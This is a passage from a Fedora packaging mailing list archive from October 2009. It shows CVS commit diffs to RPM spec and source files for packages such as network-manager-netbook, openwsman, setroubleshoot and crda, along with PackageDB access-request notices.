 BuildRequires: desktop-file-utils
 BuildRequires: intltool
 
@@ -58,6 +59,8 @@ make install DESTDIR=%{buildroot} INSTAL
 # Issues with this due to MOBLIN autostart value not recognised by Fedora's d-f-u
 #desktop-file-validate %{buildroot}/%{_sysconfdir}/xdg/autostart/%{name}.desktop
 
+%find_lang %{name}
+
 %clean
 rm -rf %{buildroot}
 
@@ -73,7 +76,7 @@ fi
 %posttrans
 gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
 
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING
 %{_sysconfdir}/xdg/autostart/network-manager-netbook.desktop


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/network-manager-netbook/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	29 Sep 2009 21:03:27 -0000	1.3
+++ sources	1 Oct 2009 18:28:12 -0000	1.4
@@ -1 +1 @@
-be0507867b476efcf9e11894426c509f  network-manager-netbook-1.4.tar.bz2
+59a98ba7dcdd24bb1306d1cd97cba389  network-manager-netbook-1.3.1.tar.bz2



From pkgdb at fedoraproject.org  Thu Oct  1 18:28:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:28:51 +0000
Subject: [pkgdb] pytc: deji has requested commit
Message-ID: <20091001182851.962AB10F800@bastion2.fedora.phx.redhat.com>

deji has requested the commit acl on pytc (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pkgdb at fedoraproject.org  Thu Oct  1 18:28:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:28:59 +0000
Subject: [pkgdb] pytc: deji has requested commit
Message-ID: <20091001182859.8E29910F800@bastion2.fedora.phx.redhat.com>

deji has requested the commit acl on pytc (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/pytc



From praveenp at fedoraproject.org  Thu Oct  1 18:28:53 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Thu,  1 Oct 2009 18:28:53 +0000 (UTC)
Subject: rpms/openwsman/EL-4 openwsman.spec,1.2,1.3
Message-ID: <20091001182853.29EE411C00C1@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/openwsman/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5000

Modified Files:
	openwsman.spec 
Log Message:
bumped up the release for another tag



Index: openwsman.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openwsman/EL-4/openwsman.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- openwsman.spec	1 Oct 2009 18:19:45 -0000	1.2
+++ openwsman.spec	1 Oct 2009 18:28:53 -0000	1.3
@@ -5,7 +5,7 @@
 
 Name:          openwsman
 Version:       2.2.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 License:        BSD
 Url:            http://www.openwsman.org/
 Source:         http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
@@ -142,6 +142,8 @@ fi
 
 
 %changelog
+* Thu Oct  1 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.2.0-2
+- Increasing the release number to make another tag 
 * Thu Oct  1 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.2.0-1
 - Updated the sources to 2.2.0. Couple of major changes are as follows:
 - Major changes:



From pkgdb at fedoraproject.org  Thu Oct  1 18:29:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 18:29:08 +0000
Subject: [pkgdb] pytc: deji has requested commit
Message-ID: <20091001182908.CB32E10F800@bastion2.fedora.phx.redhat.com>

deji has requested the commit acl on pytc (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/pytc



From pbrobinson at fedoraproject.org  Thu Oct  1 18:32:17 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu,  1 Oct 2009 18:32:17 +0000 (UTC)
Subject: rpms/network-manager-netbook/F-12 .cvsignore, 1.2,
	1.3 network-manager-netbook.spec, 1.3, 1.4 sources, 1.2, 1.3
Message-ID: <20091001183217.3C2EA11C00C1@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/network-manager-netbook/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5847

Modified Files:
	.cvsignore network-manager-netbook.spec sources 
Log Message:
- Git snapshot of the NM-0.8 port.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/network-manager-netbook/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	26 Aug 2009 22:37:46 -0000	1.2
+++ .cvsignore	1 Oct 2009 18:32:16 -0000	1.3
@@ -1 +1 @@
-network-manager-netbook-1.2.tar.bz2
+network-manager-netbook-1.3.1.tar.bz2


Index: network-manager-netbook.spec
===================================================================
RCS file: /cvs/pkgs/rpms/network-manager-netbook/F-12/network-manager-netbook.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- network-manager-netbook.spec	31 Aug 2009 14:14:01 -0000	1.3
+++ network-manager-netbook.spec	1 Oct 2009 18:32:16 -0000	1.4
@@ -1,22 +1,20 @@
 # Tarfile created using git
 # git clone git://git.gnome.org/network-manager-netbook
+# git checkout -b MplPanelClient origin/MplPanelClient
 # git archive --format=tar --prefix=network-manager-netbook-%{version}/ %{git_version} | bzip2 > %{name}-%{version}.tar.bz2
-%define git_version 926dfeb
+%define git_version a0ae2ea
 %define tarfile %{name}-%{version}.tar.bz2
 
 Name:           network-manager-netbook
-Version:        1.2
-Release:        6%{?dist}
+Version:        1.3.1
+Release:        0.1%{?dist}
 Summary:        Moblin Netbook GUI for NetworkManger
 
 Group:          Applications/Internet
-#License has been confirmed by maintainer. Will fix upstream.
 License:        GPLv2
 URL:            http://projects.gnome.org/NetworkManager/
 Source0:        %{tarfile}
-Source1:        COPYING
-Patch0:         network-manager-netbook-full-desktop.patch
-Patch1:         nmn-fixNMdetect.patch
+#Patch0:         network-manager-netbook-full-desktop.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: dbus-glib-devel
@@ -25,8 +23,10 @@ BuildRequires: GConf2-devel
 BuildRequires: gnome-keyring-devel
 BuildRequires: libnotify-devel
 BuildRequires: mobile-broadband-provider-info-devel
+BuildRequires: mutter-moblin-devel
 BuildRequires: nbtk-devel
 BuildRequires: NetworkManager-glib-devel
+BuildRequires: wireless-tools-devel
 BuildRequires: desktop-file-utils
 BuildRequires: intltool
 
@@ -43,12 +43,7 @@ NetworkManager to connect to wired, wire
 
 %prep
 %setup -q
-%patch0 -p1 -b .fixdesktop
-%patch1 -p1 -b .fixNMdetect
-
-#Copy license files until upstream fixes them in git
-rm -f $RPM_BUILD_DIR/%{name}-%{version}/COPYING
-cp %{SOURCE1} $RPM_BUILD_DIR/%{name}-%{version}
+#%patch0 -p1 -b .fixdesktop
 
 # Don't run configure from autogen.sh
 NOCONFIGURE=true ./autogen.sh
@@ -64,6 +59,8 @@ make install DESTDIR=%{buildroot} INSTAL
 # Issues with this due to MOBLIN autostart value not recognised by Fedora's d-f-u
 #desktop-file-validate %{buildroot}/%{_sysconfdir}/xdg/autostart/%{name}.desktop
 
+%find_lang %{name}
+
 %clean
 rm -rf %{buildroot}
 
@@ -79,7 +76,7 @@ fi
 %posttrans
 gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
 
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING
 %{_sysconfdir}/xdg/autostart/network-manager-netbook.desktop
@@ -90,6 +87,12 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/48x48/apps/nm-*
 
 %changelog
+* Thu Oct  1 2009 Peter Robinson <pbrobinson at gmail.com> 1.3.1-0.1
+- Git snapshot of the NM-0.8 port.
+
+* Tue Sep 29 2009 Peter Robinson <pbrobinson at gmail.com> 1.3-1
+- Update to 1.3 upstream release. Cleanup spec from upstreamed fixes
+
 * Mon Aug 31 2009 Peter Robinson <pbrobinson at gmail.com> 1.2-6
 - Add patch for detection of new NetworkManager
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/network-manager-netbook/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	26 Aug 2009 22:37:46 -0000	1.2
+++ sources	1 Oct 2009 18:32:16 -0000	1.3
@@ -1 +1 @@
-e45589dde04728029f0afa616af6fed3  network-manager-netbook-1.2.tar.bz2
+59a98ba7dcdd24bb1306d1cd97cba389  network-manager-netbook-1.3.1.tar.bz2



From praveenp at fedoraproject.org  Thu Oct  1 18:33:05 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Thu,  1 Oct 2009 18:33:05 +0000 (UTC)
Subject: rpms/openwsman/F-11 openwsman.spec,1.10,1.11
Message-ID: <20091001183305.582C211C00C1@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/openwsman/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5968

Modified Files:
	openwsman.spec 
Log Message:
fixed the hard coding of rub_libdir in spec file



Index: openwsman.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openwsman/F-11/openwsman.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- openwsman.spec	24 Sep 2009 22:43:14 -0000	1.10
+++ openwsman.spec	1 Oct 2009 18:33:05 -0000	1.11
@@ -1,10 +1,12 @@
 %{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 %{!?ruby_sitearch: %global ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"] ')}
+%define ruby_libdir %(ruby -rrbconfig -e 'puts Config::CONFIG["sitelibdir"]')
+
 
 Name:          openwsman
 Version:       2.2.0
-Release:        7%{?dist}
+Release:        8%{?dist}
 License:        BSD
 Url:            http://www.openwsman.org/
 Source:         http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
@@ -97,7 +99,7 @@ rm -rf %{buildroot}
 %dir /etc/openwsman
 %config(noreplace) /etc/openwsman/openwsman.conf
 %config(noreplace) /etc/openwsman/ssleay.cnf
-/usr/lib/ruby/site_ruby/1.8/openwsman/
+%{ruby_libdir}/openwsman
 %config(noreplace) %{_sysconfdir}/pam.d/openwsman
 %doc COPYING README
 
@@ -139,6 +141,8 @@ fi
 
 
 %changelog
+* Thu Oct  1 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.2.0-8
+- Removed the past hard coding of ruby_libdir
 * Thu Sep 24 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.2.0-7
 - pywsman.py gets installed in python_sitelib - chaning back
 * Thu Sep 24 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.2.0-6



From mitr at fedoraproject.org  Thu Oct  1 18:34:54 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Thu,  1 Oct 2009 18:34:54 +0000 (UTC)
Subject: rpms/audit-viewer/devel .cvsignore, 1.5, 1.6 audit-viewer.spec, 1.10,
	1.11 sources, 1.5, 1.6
Message-ID: <20091001183454.5316311C00C1@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/audit-viewer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7046

Modified Files:
	.cvsignore audit-viewer.spec sources 
Log Message:
* Thu Oct  1 2009 Miloslav Trma? <mitr at redhat.com> - 0.5.1-1
- Update to audit-viewer-0.5.1.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/audit-viewer/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	15 Sep 2009 20:27:27 -0000	1.5
+++ .cvsignore	1 Oct 2009 18:34:54 -0000	1.6
@@ -1 +1 @@
-audit-viewer-0.5.tar.bz2
+audit-viewer-0.5.1.tar.bz2


Index: audit-viewer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audit-viewer/devel/audit-viewer.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- audit-viewer.spec	15 Sep 2009 20:34:54 -0000	1.10
+++ audit-viewer.spec	1 Oct 2009 18:34:54 -0000	1.11
@@ -1,7 +1,7 @@
 Summary: Audit event viewer
 Name: audit-viewer
-Version: 0.5
-Release: 2
+Version: 0.5.1
+Release: 1%{?dist}
 License: GPLv2
 Group: Applications/System
 URL: https://fedorahosted.org/audit-viewer/
@@ -52,10 +52,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/mime/packages/audit-viewer.xml
 %{_libexecdir}/audit-viewer-server
 %{_libexecdir}/audit-viewer-server-real
+%{_mandir}/man8/audit-viewer.8*
 %config(noreplace) %{_sysconfdir}/pam.d/audit-viewer-server
 %config(noreplace) %{_sysconfdir}/security/console.apps/audit-viewer-server
 
 %changelog
+* Thu Oct  1 2009 Miloslav Trma? <mitr at redhat.com> - 0.5.1-1
+- Update to audit-viewer-0.5.1.
+
 * Tue Sep 15 2009 Miloslav Trma? <mitr at redhat.com> - 0.5-2
 - BuildRequires: intltool
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/audit-viewer/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	15 Sep 2009 20:27:27 -0000	1.5
+++ sources	1 Oct 2009 18:34:54 -0000	1.6
@@ -1 +1 @@
-63966dcdc8c4388c966dc8972f5f1973  audit-viewer-0.5.tar.bz2
+0d7cf49953f86c9e47823fe162635cd7  audit-viewer-0.5.1.tar.bz2



From dwalsh at fedoraproject.org  Thu Oct  1 18:36:01 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  1 Oct 2009 18:36:01 +0000 (UTC)
Subject: rpms/setroubleshoot-plugins/devel .cvsignore, 1.39,
	1.40 setroubleshoot-plugins.spec, 1.44, 1.45 sources, 1.40, 1.41
Message-ID: <20091001183601.B91DB11C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7294

Modified Files:
	.cvsignore setroubleshoot-plugins.spec sources 
Log Message:
* Thu Oct 1 2009  <dwalsh at redhat.com> - 2.1.24-1
- Add support for Green Plugins



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/.cvsignore,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- .cvsignore	29 Sep 2009 12:39:21 -0000	1.39
+++ .cvsignore	1 Oct 2009 18:36:01 -0000	1.40
@@ -29,3 +29,4 @@ setroubleshoot-plugins-2.1.20.tar.gz
 setroubleshoot-plugins-2.1.21.tar.gz
 setroubleshoot-plugins-2.1.22.tar.gz
 setroubleshoot-plugins-2.1.23.tar.gz
+setroubleshoot-plugins-2.1.24.tar.gz


Index: setroubleshoot-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/setroubleshoot-plugins.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- setroubleshoot-plugins.spec	29 Sep 2009 12:39:22 -0000	1.44
+++ setroubleshoot-plugins.spec	1 Oct 2009 18:36:01 -0000	1.45
@@ -1,6 +1,6 @@
 Summary: Analysis plugins for use with setroubleshoot
 Name: setroubleshoot-plugins
-Version: 2.1.23
+Version: 2.1.24
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -52,6 +52,9 @@ rm -rf %{buildroot}
 %{_datadir}/setroubleshoot/plugins
 
 %changelog
+* Thu Oct 1 2009  <dwalsh at redhat.com> - 2.1.24-1
+- Add support for Green Plugins
+
 * Mon Sep 28 2009  <dwalsh at redhat.com> - 2.1.23-1
 - Fix translations
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/sources,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- sources	29 Sep 2009 12:39:22 -0000	1.40
+++ sources	1 Oct 2009 18:36:01 -0000	1.41
@@ -1 +1 @@
-0f63bbd6a14622ac71a01fb8207b3a21  setroubleshoot-plugins-2.1.23.tar.gz
+78961dd82e4623a52afab52556c60771  setroubleshoot-plugins-2.1.24.tar.gz



From linville at fedoraproject.org  Thu Oct  1 18:37:12 2009
From: linville at fedoraproject.org (John W. Linville)
Date: Thu,  1 Oct 2009 18:37:12 +0000 (UTC)
Subject: rpms/crda/F-12 crda.spec,1.21,1.22
Message-ID: <20091001183712.792AC11C00C1@cvs1.fedora.phx.redhat.com>

Author: linville

Update of /cvs/pkgs/rpms/crda/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7529

Modified Files:
	crda.spec 
Log Message:
Move regdb to /lib/crda to facilitate /usr mounted over wireless network


Index: crda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/crda/F-12/crda.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- crda.spec	9 Sep 2009 13:57:03 -0000	1.21
+++ crda.spec	1 Oct 2009 18:37:12 -0000	1.22
@@ -3,7 +3,7 @@
 
 Name:           crda
 Version:        %{crda_version}_%{regdb_version}
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Regulatory compliance daemon for 802.11 wireless networking
 
 Group:          System Environment/Base
@@ -56,11 +56,11 @@ rm -rf $RPM_BUILD_ROOT
 
 cd crda-%{crda_version}
 cp README README.crda
-make install DESTDIR=$RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT PREFIX='' MANDIR=%{_mandir}
 
 cd ../wireless-regdb-%{regdb_version}
 cp README README.wireless-regdb
-make install PREFIX=${RPM_BUILD_ROOT}/usr
+make install DESTDIR=$RPM_BUILD_ROOT PREFIX='' MANDIR=%{_mandir}
 
 install -D -m0755 %SOURCE2 ${RPM_BUILD_ROOT}/sbin
 
@@ -74,7 +74,7 @@ rm -rf $RPM_BUILD_ROOT
 /sbin/regdbdump
 /sbin/setregdomain
 /lib/udev/rules.d/85-regulatory.rules
-/usr/lib/%{name}
+/lib/%{name}
 %{_mandir}/man5/regulatory.bin.5.gz
 %{_mandir}/man8/crda.8.gz
 %{_mandir}/man8/regdbdump.8.gz
@@ -82,6 +82,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc wireless-regdb-%{regdb_version}/README.wireless-regdb
 
 %changelog
+* Wed Oct  1 2009 John W. Linville <linville at redhat.com> 1.1.0_2009.09.08-3
+- Move regdb to /lib/crda to facilitate /usr mounted over wireless network
+
 * Wed Sep  9 2009 John W. Linville <linville at redhat.com> 1.1.0_2009.09.08-2
 - Use kernel-headers instead of kernel-devel
 



From dwalsh at fedoraproject.org  Thu Oct  1 18:37:56 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  1 Oct 2009 18:37:56 +0000 (UTC)
Subject: rpms/setroubleshoot/devel .cvsignore, 1.128,
	1.129 setroubleshoot.spec, 1.168, 1.169 sources, 1.141, 1.142
Message-ID: <20091001183756.960EC11C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7679

Modified Files:
	.cvsignore setroubleshoot.spec sources 
Log Message:
* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.35-1
- Fix translations, plurals and glade
	- Update Po
	- Fix plural form
	- Add support for Green Plugins



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/.cvsignore,v
retrieving revision 1.128
retrieving revision 1.129
diff -u -p -r1.128 -r1.129
--- .cvsignore	29 Sep 2009 12:39:14 -0000	1.128
+++ .cvsignore	1 Oct 2009 18:37:56 -0000	1.129
@@ -45,3 +45,5 @@ setroubleshoot-2.2.30.tar.gz
 setroubleshoot-2.2.31.tar.gz
 setroubleshoot-2.2.32.tar.gz
 setroubleshoot-2.2.33.tar.gz
+setroubleshoot-2.2.34.tar.gz
+setroubleshoot-2.2.35.tar.gz


Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/setroubleshoot.spec,v
retrieving revision 1.168
retrieving revision 1.169
diff -u -p -r1.168 -r1.169
--- setroubleshoot.spec	29 Sep 2009 12:39:15 -0000	1.168
+++ setroubleshoot.spec	1 Oct 2009 18:37:56 -0000	1.169
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.33
+Version: 2.2.35
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,12 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.35-1
+- Fix translations, plurals and glade
+	- Update Po
+	- Fix plural form
+	- Add support for Green Plugins
+
 * Mon Sep 28 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.33-1
 - Fix translations, plurals and glade
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/sources,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- sources	29 Sep 2009 12:39:15 -0000	1.141
+++ sources	1 Oct 2009 18:37:56 -0000	1.142
@@ -1 +1 @@
-3cf9c8a75992349a6821a8019be9fda7  setroubleshoot-2.2.33.tar.gz
+7968d605ac79fd7b7f643110e3cfb8d5  setroubleshoot-2.2.35.tar.gz



From dwalsh at fedoraproject.org  Thu Oct  1 18:38:55 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  1 Oct 2009 18:38:55 +0000 (UTC)
Subject: rpms/setroubleshoot-plugins/devel setroubleshoot-plugins.spec, 1.45,
	1.46
Message-ID: <20091001183855.BDAA611C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8567

Modified Files:
	setroubleshoot-plugins.spec 
Log Message:
* Thu Oct 1 2009  <dwalsh at redhat.com> - 2.1.24-2
- Add support for Green Plugins



Index: setroubleshoot-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/setroubleshoot-plugins.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- setroubleshoot-plugins.spec	1 Oct 2009 18:36:01 -0000	1.45
+++ setroubleshoot-plugins.spec	1 Oct 2009 18:38:55 -0000	1.46
@@ -1,7 +1,7 @@
 Summary: Analysis plugins for use with setroubleshoot
 Name: setroubleshoot-plugins
 Version: 2.1.24
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group: Applications/System
 URL: https://fedorahosted.org/setroubleshoot
@@ -52,7 +52,7 @@ rm -rf %{buildroot}
 %{_datadir}/setroubleshoot/plugins
 
 %changelog
-* Thu Oct 1 2009  <dwalsh at redhat.com> - 2.1.24-1
+* Thu Oct 1 2009  <dwalsh at redhat.com> - 2.1.24-2
 - Add support for Green Plugins
 
 * Mon Sep 28 2009  <dwalsh at redhat.com> - 2.1.23-1



From dwalsh at fedoraproject.org  Thu Oct  1 18:40:51 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  1 Oct 2009 18:40:51 +0000 (UTC)
Subject: rpms/setroubleshoot-plugins/F-12 setroubleshoot-plugins.spec, 1.43, 
	1.44 sources, 1.39, 1.40
Message-ID: <20091001184051.C66B211C048B@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9092

Modified Files:
	setroubleshoot-plugins.spec sources 
Log Message:
* Thu Oct 1 2009  <dwalsh at redhat.com> - 2.1.24-2
- Add support for Green Plugins



Index: setroubleshoot-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/F-12/setroubleshoot-plugins.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- setroubleshoot-plugins.spec	23 Sep 2009 01:14:21 -0000	1.43
+++ setroubleshoot-plugins.spec	1 Oct 2009 18:40:50 -0000	1.44
@@ -1,7 +1,7 @@
 Summary: Analysis plugins for use with setroubleshoot
 Name: setroubleshoot-plugins
-Version: 2.1.22
-Release: 1%{?dist}
+Version: 2.1.24
+Release: 2%{?dist}
 License: GPLv2+
 Group: Applications/System
 URL: https://fedorahosted.org/setroubleshoot
@@ -52,6 +52,12 @@ rm -rf %{buildroot}
 %{_datadir}/setroubleshoot/plugins
 
 %changelog
+* Thu Oct 1 2009  <dwalsh at redhat.com> - 2.1.24-2
+- Add support for Green Plugins
+
+* Mon Sep 28 2009  <dwalsh at redhat.com> - 2.1.23-1
+- Fix translations
+
 * Tue Sep 22 2009  <dwalsh at redhat.com> - 2.1.22-1
 - Remove allow_daemon_user_term plugin
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/F-12/sources,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- sources	23 Sep 2009 01:14:21 -0000	1.39
+++ sources	1 Oct 2009 18:40:50 -0000	1.40
@@ -1 +1 @@
-af4dc47f4bcfd1c42b88994fd428649f  setroubleshoot-plugins-2.1.22.tar.gz
+78961dd82e4623a52afab52556c60771  setroubleshoot-plugins-2.1.24.tar.gz



From praveenp at fedoraproject.org  Thu Oct  1 18:42:48 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Thu,  1 Oct 2009 18:42:48 +0000 (UTC)
Subject: rpms/openwsman/F-10 openwsman.spec,1.2,1.3
Message-ID: <20091001184248.47F5C11C00C1@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/openwsman/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9688

Modified Files:
	openwsman.spec 
Log Message:
chaged the hard coded path in %files



Index: openwsman.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openwsman/F-10/openwsman.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- openwsman.spec	25 Sep 2009 19:05:02 -0000	1.2
+++ openwsman.spec	1 Oct 2009 18:42:47 -0000	1.3
@@ -1,10 +1,12 @@
 %{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 %{!?ruby_sitearch: %global ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"] ')}
+%define ruby_libdir %(ruby -rrbconfig -e 'puts Config::CONFIG["sitelibdir"]')
+
 
 Name:          openwsman
 Version:       2.2.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 License:        BSD
 Url:            http://www.openwsman.org/
 Source:         http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
@@ -97,7 +99,7 @@ rm -rf %{buildroot}
 %dir /etc/openwsman
 %config(noreplace) /etc/openwsman/openwsman.conf
 %config(noreplace) /etc/openwsman/ssleay.cnf
-/usr/lib/ruby/site_ruby/1.8/openwsman/
+%{ruby_libdir}/openwsman
 %config(noreplace) %{_sysconfdir}/pam.d/openwsman
 %doc COPYING README
 
@@ -139,6 +141,8 @@ fi
 
 
 %changelog
+* Thu Oct  1 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.2.0-2
+- Removed the past hard coding of ruby_libdir
 * Wed Sep 24 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.2.0-1
 - Added the new 2.2.0 sources.
 - Changed the release and version numbers.



From mitr at fedoraproject.org  Thu Oct  1 18:43:08 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Thu,  1 Oct 2009 18:43:08 +0000 (UTC)
Subject: rpms/audit-viewer/F-12 .cvsignore, 1.5, 1.6 audit-viewer.spec, 1.10,
	1.11 sources, 1.5, 1.6
Message-ID: <20091001184308.40BC811C00C1@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/audit-viewer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9788

Modified Files:
	.cvsignore audit-viewer.spec sources 
Log Message:
* Thu Oct  1 2009 Miloslav Trma? <mitr at redhat.com> - 0.5.1-1
- Update to audit-viewer-0.5.1.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/audit-viewer/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	15 Sep 2009 20:27:27 -0000	1.5
+++ .cvsignore	1 Oct 2009 18:43:08 -0000	1.6
@@ -1 +1 @@
-audit-viewer-0.5.tar.bz2
+audit-viewer-0.5.1.tar.bz2


Index: audit-viewer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audit-viewer/F-12/audit-viewer.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- audit-viewer.spec	15 Sep 2009 20:34:54 -0000	1.10
